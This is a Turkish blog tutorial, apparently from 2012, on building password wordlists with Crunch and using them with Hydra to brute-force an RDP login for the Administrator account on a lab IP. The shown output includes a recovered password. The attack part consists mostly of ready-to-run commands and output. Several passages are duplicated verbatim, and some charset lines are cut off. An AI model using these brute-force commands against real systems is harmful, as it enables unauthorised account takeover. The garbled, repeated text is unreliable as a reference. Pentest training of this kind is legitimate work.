Parola kırma
saldırılarının temelde çalışma mantığı sırasıyla tüm olasılıkların
denenmesidir. Gerekli önlemler alınmadığı takdirde kırılamayacak şifre yoktur. Sadece
zaman problemi çıkacaktır ortaya. Örneğin linkte şifrelerimizin ne kadar
zamanda kırılabileceğini görebiliriz. Bu yüzden mümkün olduğunca karışık ve
çeşitli karakterli şifreler vermeye özen göstermeliyiz. Bu arada verdiğim linke
gerçek şifrelerinizi sakın yazmayın. Böylelikle site sahibinin eline gerçek
şifrelerden oluşmuş güzel bir liste vermiş oluruz. Gerçi şimdiye kadar
verilenlerle liste uzamış gitmiştir ama biz en azından kendimizi koruyalım.
Peki parola kırma
saldırılarında tüm olasılıklar nasıl oluşturuluyor? Yukarıda verdiğim linkteki
gibi zekice bir yöntemle de oluşturulabilir. Ama biz şimdi normal yoldan yani
bir tool ile oluşturacağız. Wordlist oluşturmalarda çok sık kullanılan tool’umuzun
adı Crunch. Bu tool ile istediğimiz karakterlerle, istediğimiz uzunluklarda
şifreler oluşturabiliyoruz.
Öncelikle kurulumdan
bahsedelim.
BackTrack’te
/pentest/passwords/ dizini altında gelmektedir.
Eğer yok ise apt-get
install crunch komutu ile saniyeler içinde kurulacaktır.
İlk listemizi oluşturarak
başlayalım.
root@bt:/pentest/passwords/ crunch# ./crunch 3
3 ewq -o test.txt
Komutu ile test.txt
dosyasına ewq karakterlerinden oluşan tüm olasılıkları oluşturduk. Dosyanın
içeriğini cat ile görüntülediğimizde 27 tane şifre oluştuğunu gördük.
Komutta yer alan “3 3” kaç
karakterli şifreler oluşturacağımızı gösteriyor. İlk “3” minimum karakter
sayısı, ikinci “3” ise maximum karakter sayısını gösteriyor. 3 3 seçtiğimiz
için sadece 3 karakterli ihtimalleri listeledi. Eğer 1 3 seçmiş olsaydık liste
e, w, q, ew, qw gibi 1 ve 2 karakterli olasılıkları da içerecekti.
-o ise output olarak
listenin nereye yazılacağını belirtiyor.
root@bt:/pentest/passwords/ crunch# cat test.txt
eee
eew
eeq
ewe
...
..
Crunch dizini altında bulunan charset.lst ile karakter setlerine ulaşabiliriz. Charset.lst’nin bir kısmı aşağıdaki gibidir. Örneğin sembollerden şifre listesi oluşturmak istiyorsak symbols-all seçmeliyiz.
eee
eew
eeq
ewe
...
..
Crunch dizini altında bulunan charset.lst ile karakter setlerine ulaşabiliriz. Charset.lst’nin bir kısmı aşağıdaki gibidir. Örneğin sembollerden şifre listesi oluşturmak istiyorsak symbols-all seçmeliyiz.
root@bt:/pentest/passwords/ crunch# ./crunch 3 3 –f /pentest/passwords/crunch/charset.lst
symbols-all -o test12.txt
komutta yer alan –f ile
karakter setinden seçmek istediğimiz symbols-all’u belirtiyoruz.
root@bt:/pentest/passwords/ crunch# cat charset.lst
hex-lower
= [0123456789abcdef]
hex-upper = [0123456789ABCDEF]
numeric = [0123456789]
numeric-space = [0123456789 ]
symbols14 = [!@#$%^&*()-_+=]
symbols14-space = [!@#$%^&*()-_+= ]
symbols-all = [!@#$%^&*()-_+=~`[]{}|\:;"'<>, .?/]
symbols-all-space = [!@#$%^&*()-_+=~`[]{}|\:;"'<>, .?/ ]
hex-upper = [0123456789ABCDEF]
numeric = [0123456789]
numeric-space = [0123456789 ]
symbols14 = [!@#$%^&*()-_+=]
symbols14-space = [!@#$%^&*()-_+= ]
symbols-all = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,
symbols-all-space = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,
Ayrıca Crunch ile özel
şifreler oluşturmakta mümkün. –t @,%^ parametreleri ile istediğimiz türden
şifreler oluşturabiliriz.
@
küçük harfler için
, büyük hafler için
% numaralar için
^ semboller için
, büyük hafler için
% numaralar için
^ semboller için
Örneğin aşağıdaki komut sayesinde test ile
başlayan ve son harfi küçük harf olan tüm şifreleri ozel.txt’ye yazdırdık.
Burada minimum ve maximum karakter sayısı belirttiğimiz şifrenin karakter
sayısı ile aynı olmalı. Yani 4 5 olarak seçemezdik.
root@bt:/pentest/passwords/ crunch# ./crunch 5 5 –t test@ -o ozel.txt
root@bt:/pentest/passwords/ crunch# cat ozel.txt
testa
testb
testc
testd
..
---Hydra---
Belirlediğimiz kriterlere göre oluşturduğumuz
listelerden sonra hydra ile parola saldırılarına başlayabiliriz.
Hydra ile kullandığımız
parametreler;
-l username
-L username.list
-p password
-P password.list
-L username.list
-p password
-P password.list
Yukarıda crunch ile
oluşturduğumuz test dosyasını burada kullanıyoruz.
Aşağıdaki komutla Username’i
Administrator olacak şekilde test.lst listesinde bulunan tüm şifreleri rdp
portu üzerinden denemesini istiyoruz.
root@bt:~/Desktop# hydra -l Administrator -P test.lst 192.168.183.207 rdp
Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2012-06-20 11:13:02
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[DATA] 16 tasks, 1 server, 27 login tries (l:1/p:27), ~1 try per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 192.168.183.207 login: Administrator password: qwe
[STATUS] attack finished for 192.168.183.207 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2012-06-20 11:13:14
Görüldüğü gibi Administrator kullanıcısının şifresi qwe başarılı bir şekilde ele geçirildi.
Kaynak:
-GG
0 comments:
Yorum Gönder